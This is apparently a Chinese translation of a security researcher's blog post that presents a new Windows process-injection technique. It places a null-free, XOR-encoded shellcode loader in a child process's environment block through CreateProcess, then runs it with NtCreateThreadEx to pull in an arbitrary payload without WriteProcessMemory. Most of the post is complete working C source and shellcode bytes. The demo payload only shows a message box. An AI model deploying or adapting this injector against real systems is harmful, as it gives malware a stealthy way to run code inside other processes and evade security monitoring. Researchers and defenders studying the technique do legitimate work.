ProcEnvInjection – 通过滥用进程环境字符串进行远程代码注入

原文链接:https://www.x86matthew.com/view_post?id=proc_env_injection

在从个人项目中休息了几个月后,我花了一些时间开发替代流程注入技术。这篇文章将记录我最近发现的一种新方法。此方法允许我们在不使用WriteProcessMemory

的情况下将自定义代码注入远程进程- 我们将使用CreateProcess中的lpEnvironment参数将我们的代码复制到目标进程中。此技术可用于将 DLL 加载到远程进程中,或简单地执行代码块。但是,为了使其可靠地工作,我们需要解决各种问题 – 这些将在下面描述。 lpEnvironment参数在

CreateProcess允许我们为目标进程指定一个自定义环境字符串。环境字符串包含一组环境变量条目,例如PATH=C:\Windows\system32;C:\Windows。列表中的每个环境变量都由一个空终止符分隔,列表中的最后一项是一个空白字符串(两个空终止符)。创建新进程时,环境字符串将被复制到进程的虚拟内存中,然后可以通过 PEB 访问它。

我最初的想法是使用lpEnvironment参数将二进制代码复制到目标进程中执行。这里有几个明显的问题——第一个是PEB中包含字符串数据的内存没有执行权限,第二个问题是lpEnvironment是一个字符串字段,这意味着我们的二进制代码数据不能包含空字符。

第一个问题很容易通过从注入器进程调用VirtualProtectEx来解决。我们可以很容易地通过PEB计算出远程进程中环境字符串的地址,并使内存可执行。

第二个问题更难解决 – 大多数代码块将包含空 (0x00) 字符。通过手动编写汇编操作码来特别避免 0x00 字节来解决这个问题是相当容易的,但这对于大代码块是不切实际的。

这个问题可以通过编写一个通用的固定“外部代码加载器”存根来解决,该存根经过仔细编写以避免任何 0x00 字符。这个小加载器将用于分配和执行真正的有效负载,它现在可以包含任何字节。通用加载器将使用PAGE_EXECUTE_READWRITE保护分配必要的字节数,调用OpenProcess以打开注入器进程,并使用ReadProcessMemory将有效负载从父进程读取到新分配的缓冲区中。然后将执行真正的有效载荷,并在执行完成后释放临时内存。这意味着仍然不需要WriteProcessMemory来传输数据 – 目标进程使用ReadProcessMemory从父进程读取数据。

总之,注入器过程采取以下步骤:

1. 创建一个不包含任何 0x00 字符的通用“代码加载器”块 – 如果需要,值将使用 XOR 进行编码。
2.使用GetEnvironmentStringsW检索现有的环境字符串并将其复制到临时缓冲区。我们的“通用代码加载器”条目将附加到现有条目的末尾。某些程序会使用环境变量,因此覆盖现有条目不是​​一个好主意。
3. 使用CreateProcess和我们的自定义环境字符串 ( lpEnvironment ) 创建目标 EXE 进程的挂起实例。我们还将使用CREATE_UNICODE_ENVIRONMENT标志来指定宽字符环境值,否则字符串将从 ANSI 转换为宽字符,这将破坏我们的加载程序代码。
4. 使用NtQueryInformationProcess检索目标进程的 PEB 地址。
5. 打电话NtCreateThreadEx在目标进程中调用Sleep(0)并等待线程退出。这将强制必要的 PEB 字段在目标进程中被初始化。
6. 计算目标进程中环境字符串的地址(PEB->RtlUserProcessParameters->Environment)
7. 在环境字符串中定位我们的加载器代码的地址。调用VirtualProtectEx使该数据可执行。
8. 调用NtCreateThreadEx在目标进程内执行加载器代码。此代码将从注入器进程中读取最终的有效载荷并执行它。
9、payload执行完毕后恢复原来的内存保护。
10、调用ResumeThread继续正常执行目标进程。

最终的有效载荷可以是任意大小并包含任意字节。对于此示例,我编写了以下代码来使用LoadLibrary加载user32.dll,然后调用MessageBoxA:

BYTE bPayload[] =
{
	// string: <user32.dll>
	// push 0x00006C6C
	0x68, 0x6C, 0x6C, 0x00, 0x00,
	// push 0x642E3233
	0x68, 0x33, 0x32, 0x2E, 0x64,
	// push 0x72657375
	0x68, 0x75, 0x73, 0x65, 0x72,
	// mov ecx, esp
	0x8B, 0xCC,
	// push ecx (ModuleName)
	0x51,
	// mov eax, LoadLibraryA
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// call eax
	0xFF, 0xD0,

	 // string: <Code injected successfully!>
	// push 0x0021796C
	0x68, 0x6C, 0x79, 0x21, 0x00,
	// push 0x6C756673
	0x68, 0x73, 0x66, 0x75, 0x6C,
	// push 0x73656363
	0x68, 0x63, 0x63, 0x65, 0x73,
	// push 0x75732064
	0x68, 0x64, 0x20, 0x73, 0x75,
	// push 0x65746365
	0x68, 0x65, 0x63, 0x74, 0x65,
	// push 0x6A6E6920
	0x68, 0x20, 0x69, 0x6E, 0x6A,
	// push 0x65646F43
	0x68, 0x43, 0x6F, 0x64, 0x65,
	// mov ecx, esp
	0x8B, 0xCC,
	// string: <www.x86matthew.com>
	// push 0x00006D6F
	0x68, 0x6F, 0x6D, 0x00, 0x00,
	// push 0x632E7765
	0x68, 0x65, 0x77, 0x2E, 0x63,
	// push 0x68747461
	0x68, 0x61, 0x74, 0x74, 0x68,
	// push 0x6D363878
	0x68, 0x78, 0x38, 0x36, 0x6D,
	// push 0x2E777777
	0x68, 0x77, 0x77, 0x77, 0x2E,
	// mov ebx, esp
	0x8B, 0xDC,
	// push MB_OK
	0x6A, 0x00,
	// push ebx (Caption)
	0x53,
	// push ecx (Text)
	0x51,
	// push hWnd
	0x6A, 0x00,
	// mov eax, MessageBoxA
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// call eax
	0xFF, 0xD0,

	// add esp, 0x3C
	0x83, 0xC4, 0x3C,

	// ret
	0xC3
};

完整代码如下:

#include <stdio.h>
#include <windows.h>

#define LOADER_CODE_OFFSET 8

struct PROCESS_BASIC_INFORMATION
{
	DWORD ExitStatus;
	BYTE *PebBaseAddress;
	DWORD *AffinityMask;
	DWORD BasePriority;
	DWORD *UniqueProcessId;
	DWORD *InheritedFromUniqueProcessId;
};

#define ProcessBasicInformation 0

DWORD (WINAPI *NtQueryInformationProcess)(HANDLE hProcessHandle, DWORD ProcessInformationClass, PVOID ProcessInformation, DWORD ProcessInformationLength, DWORD *ReturnLength);
DWORD (WINAPI *NtCreateThreadEx)(HANDLE *phThreadHandle, DWORD DesiredAccess, PVOID ObjectAttributes, HANDLE hProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, DWORD *pZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);

BYTE bGlobal_LoaderCode[] =
{
	// prefix
	'A', 0x00, 'A', 0x00, 'A', 0x00, '=', 0x00,

	// push edi
	0x57,
	// push esi
	0x56,

	// push 0x40 (PAGE_EXECUTE_READWRITE)
	0x6A, 0x40,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (MEM_COMMIT | MEM_RESERVE)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (Size)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (BaseAddr)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (VirtualAlloc)
	0xFF, 0xD0,

	// mov edi, eax (DataAddr)
	0x8B, 0xF8,

	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (ProcessID)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (bInheritHandle)
	0x50,
	// push 0x10 (PROCESS_VM_READ)
	0x6A, 0x10,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (OpenProcess)
	0xFF, 0xD0,

	// mov esi, eax (ProcessHandle)
	0x8B, 0xF0,

	// xor eax, eax
	0x33, 0xC0,
	// push eax (NumberOfBytesRead)
	0x50,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (BytesToRead)
	0x50,
	// push edi (ReadBuffer)
	0x57,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (BaseAddr)
	0x50,
	// push esi (ProcessHandle)
	0x56,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (ReadProcessMemory)
	0xFF, 0xD0,

	// push esi (ProcessHandle)
	0x56,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (CloseHandle)
	0xFF, 0xD0,

	// pushad
	0x60,
	// call edi (DataAddr)
	0xFF, 0xD7,
	// popad
	0x61,

	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// push eax (MEM_RELEASE)
	0x50,
	// xor eax, eax
	0x33, 0xC0,
	// push eax (Size)
	0x50,
	// push edi (DataAddr)
	0x57,
	// mov eax, 0xXXXXXXXX
	0xB8, 0x44, 0x33, 0x22, 0x11,
	// xor eax, 0xXXXXXXXX
	0x35, 0x44, 0x33, 0x22, 0x11,
	// call eax (VirtualFree)
	0xFF, 0xD0,

	// pop esi
	0x5E,
	// pop edi
	0x5F,

	// return from thread cleanly - can't use "retn 4"
	// pop eax
	0x58,
	// pop ecx
	0x59,
	// push eax
	0x50,
	// ret
	0xC3,

	// (end of string - 2 widechar null characters)
	0x00, 0x00, 0x00, 0x00
};

DWORD EncodeDwordValue(DWORD dwValue, DWORD *pdwXorValue, DWORD *pdwEncodedValue)
{
	BYTE bOrigValue[4];
	BYTE bXorValue[4];
	BYTE bEncodedValue[4];

	// copy original value
	memcpy((void*)bOrigValue, (void*)&dwValue, sizeof(DWORD));

	// encode value
	for(DWORD i = 0; i < sizeof(DWORD); i++)
	{
		bXorValue[i] = 0x01;
		for(;;)
		{
			// ensure the value contains no 0x00 bytes
			bEncodedValue[i] = bOrigValue[i] ^ bXorValue[i];
			if(bEncodedValue[i] == 0 || bXorValue[i] == 0)
			{
				bXorValue[i]++;
				continue;
			}

			break;
		}
	}

	// store values
	*pdwXorValue = *(DWORD*)bXorValue;
	*pdwEncodedValue = *(DWORD*)bEncodedValue;

	return 0;
}

DWORD StartInjectedProcess(char *pExePath, BYTE *pPayload, DWORD dwPayloadSize)
{
	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInfo;
	BYTE bLoaderCode_Copy[sizeof(bGlobal_LoaderCode)];
	PROCESS_BASIC_INFORMATION ProcessBasicInfoData;
	BYTE *pRemotePtr_RtlUserProcessParameters = NULL;
	BYTE *pRemotePtr_EnvironmentStr = NULL;
	DWORD dwOriginalProtect = 0;
	HANDLE hThread = NULL;
	DWORD dwTempProtect = 0;
	wchar_t *pOrigEnvBlock = NULL;
	DWORD dwOrigEnvBlockTotalLengthBytes = 0;
	DWORD dwCurrEnvEntryLength = 0;
	wchar_t *pCurrEnvEntry = NULL;
	BYTE *pNewEnvBlock = NULL;

	// ensure the loader code is 16-bit aligned
	if((sizeof(bGlobal_LoaderCode) % 2) != 0)
	{
		printf("Error: Loader code is out of alignment\n");
		// loader code is out of alignment - add an extra 0x00 character to the end of the data
		return 1;
	}

	printf("Generating loader code...\n");

	// encode values in the loader code to ensure no 0x00 characters exist
	EncodeDwordValue(MEM_COMMIT | MEM_RESERVE, (DWORD*)&bGlobal_LoaderCode[13], (DWORD*)&bGlobal_LoaderCode[18]);
	EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[24], (DWORD*)&bGlobal_LoaderCode[29]);
	EncodeDwordValue((DWORD)VirtualAlloc, (DWORD*)&bGlobal_LoaderCode[38], (DWORD*)&bGlobal_LoaderCode[43]);
	EncodeDwordValue(GetCurrentProcessId(), (DWORD*)&bGlobal_LoaderCode[52], (DWORD*)&bGlobal_LoaderCode[57]);
	EncodeDwordValue((DWORD)OpenProcess, (DWORD*)&bGlobal_LoaderCode[68], (DWORD*)&bGlobal_LoaderCode[73]);
	EncodeDwordValue(dwPayloadSize, (DWORD*)&bGlobal_LoaderCode[85], (DWORD*)&bGlobal_LoaderCode[90]);
	EncodeDwordValue((DWORD)pPayload, (DWORD*)&bGlobal_LoaderCode[97], (DWORD*)&bGlobal_LoaderCode[102]);
	EncodeDwordValue((DWORD)ReadProcessMemory, (DWORD*)&bGlobal_LoaderCode[109], (DWORD*)&bGlobal_LoaderCode[114]);
	EncodeDwordValue((DWORD)CloseHandle, (DWORD*)&bGlobal_LoaderCode[122], (DWORD*)&bGlobal_LoaderCode[127]);
	EncodeDwordValue(MEM_RELEASE, (DWORD*)&bGlobal_LoaderCode[138], (DWORD*)&bGlobal_LoaderCode[143]);
	EncodeDwordValue((DWORD)VirtualFree, (DWORD*)&bGlobal_LoaderCode[153], (DWORD*)&bGlobal_LoaderCode[158]);

	printf("Appending code to existing environment string...\n");

	// get existing environment block
	pOrigEnvBlock = GetEnvironmentStringsW();
	if(pOrigEnvBlock == NULL)
	{
		printf("Error: Failed to read environment strings\n");
		return 1;
	}

	// calculate length of existing environment block
	for(;;)
	{
		// get current environment string entry
		pCurrEnvEntry = (wchar_t*)((BYTE*)pOrigEnvBlock + dwOrigEnvBlockTotalLengthBytes);

		// calculate length
		dwCurrEnvEntryLength = wcslen(pCurrEnvEntry);
		if(dwCurrEnvEntryLength == 0)
		{
			break;
		}

		// increase total size counter
		dwOrigEnvBlockTotalLengthBytes += ((dwCurrEnvEntryLength + 1) * sizeof(wchar_t));
	}

	// allocate a new environment string buffer
	pNewEnvBlock = (BYTE*)VirtualAlloc(NULL, dwOrigEnvBlockTotalLengthBytes + sizeof(bGlobal_LoaderCode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if(pNewEnvBlock == NULL)
	{
		printf("Error: Failed to allocate local memory\n");

		// error
		FreeEnvironmentStringsW(pOrigEnvBlock);

		return 1;
	}

	// copy the original values and append the loader code
	memcpy((void*)pNewEnvBlock, pOrigEnvBlock, dwOrigEnvBlockTotalLengthBytes);
	memcpy((void*)(pNewEnvBlock + dwOrigEnvBlockTotalLengthBytes), bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode));

	// free temporary environment string buffer
	FreeEnvironmentStringsW(pOrigEnvBlock);

	printf("Creating target process: '%s'...\n", pExePath);

	// launch target process with the injection code in the environment strings	
	memset(&StartupInfo, 0, sizeof(StartupInfo));
	StartupInfo.cb = sizeof(StartupInfo);
	if(CreateProcess(NULL, pExePath, NULL, NULL, 0, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT | CREATE_SUSPENDED, (wchar_t*)pNewEnvBlock, NULL, &StartupInfo, &ProcessInfo) == 0)
	{
		printf("Error: Failed to launch target process\n");

		// error
		VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);

		return 1;
	}

	// free environment block buffer
	VirtualFree(pNewEnvBlock, 0, MEM_RELEASE);

	printf("Locating target code in remote process...\n");

	// get process info
	memset((void*)&ProcessBasicInfoData, 0, sizeof(ProcessBasicInfoData));
	if(NtQueryInformationProcess(ProcessInfo.hProcess, ProcessBasicInformation, &ProcessBasicInfoData, sizeof(ProcessBasicInfoData), NULL) != 0)
	{
		printf("Error: Failed to retrieve process info\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// create a thread that calls Sleep(0) to initialise the environment strings in the PEB
	if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, Sleep, (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
	{
		printf("Error: Failed to create Sleep thread in remote process\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

	// read RtlUserProcessParameters ptr from PEB
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(ProcessBasicInfoData.PebBaseAddress + 0x10), (void*)&pRemotePtr_RtlUserProcessParameters, sizeof(BYTE*), NULL) == 0)
	{
		printf("Error: Failed to read RtlUserProcessParameters value from PEB\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// read EnvironmentStr ptr from RtlUserProcessParameters
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)(pRemotePtr_RtlUserProcessParameters + 0x48), (void*)&pRemotePtr_EnvironmentStr, sizeof(BYTE*), NULL) == 0)
	{
		printf("Error: Failed to read EnvironmentStr value from RtlUserProcessParameters\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// update environment string ptr to ignore the original bytes
	pRemotePtr_EnvironmentStr += dwOrigEnvBlockTotalLengthBytes;

	// read EnvironmentStr value
	memset(bLoaderCode_Copy, 0, sizeof(bLoaderCode_Copy));
	if(ReadProcessMemory(ProcessInfo.hProcess, (void*)pRemotePtr_EnvironmentStr, (void*)bLoaderCode_Copy, sizeof(bGlobal_LoaderCode), NULL) == 0)
	{
		printf("Error: Failed to read loader data from EnvironmentStr\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// ensure the loader code has been copied correctly
	if(memcmp(bLoaderCode_Copy, bGlobal_LoaderCode, sizeof(bGlobal_LoaderCode)) != 0)
	{
		printf("Error: Invalid loader data\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	printf("Executing code in remote process...\n");

	// temporarily make the loader code executable
	if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), PAGE_EXECUTE_READWRITE, &dwOriginalProtect) == 0)
	{
		printf("Error: Failed to update memory protection\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// execute payload
	if(NtCreateThreadEx(&hThread, 0x001FFFFF, NULL, ProcessInfo.hProcess, (BYTE*)(pRemotePtr_EnvironmentStr + LOADER_CODE_OFFSET), (LPVOID)0, 0, NULL, 0, 0, NULL) != 0)
	{
		printf("Error: Failed to create code loader thread in remote process\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

	// restore original protection value
	if(VirtualProtectEx(ProcessInfo.hProcess, pRemotePtr_EnvironmentStr, sizeof(bGlobal_LoaderCode), dwOriginalProtect, &dwTempProtect) == 0)
	{
		printf("Error: Failed to update memory protection\n");

		// error
		TerminateProcess(ProcessInfo.hProcess, 0);
		CloseHandle(ProcessInfo.hThread);
		CloseHandle(ProcessInfo.hProcess);

		return 1;
	}

	// resume main thread
	ResumeThread(ProcessInfo.hThread);

	// close handles
	CloseHandle(ProcessInfo.hThread);
	CloseHandle(ProcessInfo.hProcess);

	return 0;
}

int main(int argc, char *argv[])
{
	char *pExePath = NULL;

	BYTE bPayload[] =
	{
		// string: <user32.dll>
		// push 0x00006C6C
		0x68, 0x6C, 0x6C, 0x00, 0x00,
		// push 0x642E3233
		0x68, 0x33, 0x32, 0x2E, 0x64,
		// push 0x72657375
		0x68, 0x75, 0x73, 0x65, 0x72,
		// mov ecx, esp
		0x8B, 0xCC,
		// push ecx (ModuleName)
		0x51,
		// mov eax, LoadLibraryA
		0xB8, 0x44, 0x33, 0x22, 0x11,
		// call eax
		0xFF, 0xD0,

		 // string: <Code injected successfully!>
		// push 0x0021796C
		0x68, 0x6C, 0x79, 0x21, 0x00,
		// push 0x6C756673
		0x68, 0x73, 0x66, 0x75, 0x6C,
		// push 0x73656363
		0x68, 0x63, 0x63, 0x65, 0x73,
		// push 0x75732064
		0x68, 0x64, 0x20, 0x73, 0x75,
		// push 0x65746365
		0x68, 0x65, 0x63, 0x74, 0x65,
		// push 0x6A6E6920
		0x68, 0x20, 0x69, 0x6E, 0x6A,
		// push 0x65646F43
		0x68, 0x43, 0x6F, 0x64, 0x65,
		// mov ecx, esp
		0x8B, 0xCC,
		// string: <www.x86matthew.com>
		// push 0x00006D6F
		0x68, 0x6F, 0x6D, 0x00, 0x00,
		// push 0x632E7765
		0x68, 0x65, 0x77, 0x2E, 0x63,
		// push 0x68747461
		0x68, 0x61, 0x74, 0x74, 0x68,
		// push 0x6D363878
		0x68, 0x78, 0x38, 0x36, 0x6D,
		// push 0x2E777777
		0x68, 0x77, 0x77, 0x77, 0x2E,
		// mov ebx, esp
		0x8B, 0xDC,
		// push MB_OK
		0x6A, 0x00,
		// push ebx (Caption)
		0x53,
		// push ecx (Text)
		0x51,
		// push hWnd
		0x6A, 0x00,
		// mov eax, MessageBoxA
		0xB8, 0x44, 0x33, 0x22, 0x11,
		// call eax
		0xFF, 0xD0,

		// add esp, 0x3C
		0x83, 0xC4, 0x3C,

		// ret
		0xC3
	};

	// set function addresses
	*(DWORD*)&bPayload[19] = (DWORD)LoadLibraryA;
	*(DWORD*)&bPayload[96] = (DWORD)MessageBoxA;

	printf("ProcEnvInjection - www.x86matthew.com\n\n");

	// check params
	if(argc != 2)
	{
		printf("Usage: %s [exe_path]\n\n", argv[0]);

		return 1;
	}

	// get cmd param
	pExePath = argv[1];
	
	// get NtQueryInformationProcess function
	NtQueryInformationProcess = (unsigned long (__stdcall *)(void *,unsigned long,void *,unsigned long,unsigned long *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationProcess");
	if(NtQueryInformationProcess == NULL)
	{
		return 1;
	}

	// get NtCreateThreadEx function
	NtCreateThreadEx = (unsigned long (__stdcall *)(void ** ,unsigned long,void *,void *,void *,void *,unsigned long,unsigned long *,unsigned long,unsigned long,void *))GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
	if(NtCreateThreadEx == NULL)
	{
		return 1;
	}

	// start target process
	if(StartInjectedProcess(pExePath, bPayload, sizeof(bPayload)) != 0)
	{
		return 1;
	}

	printf("Injected successfully\n");

	return 0;
}

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注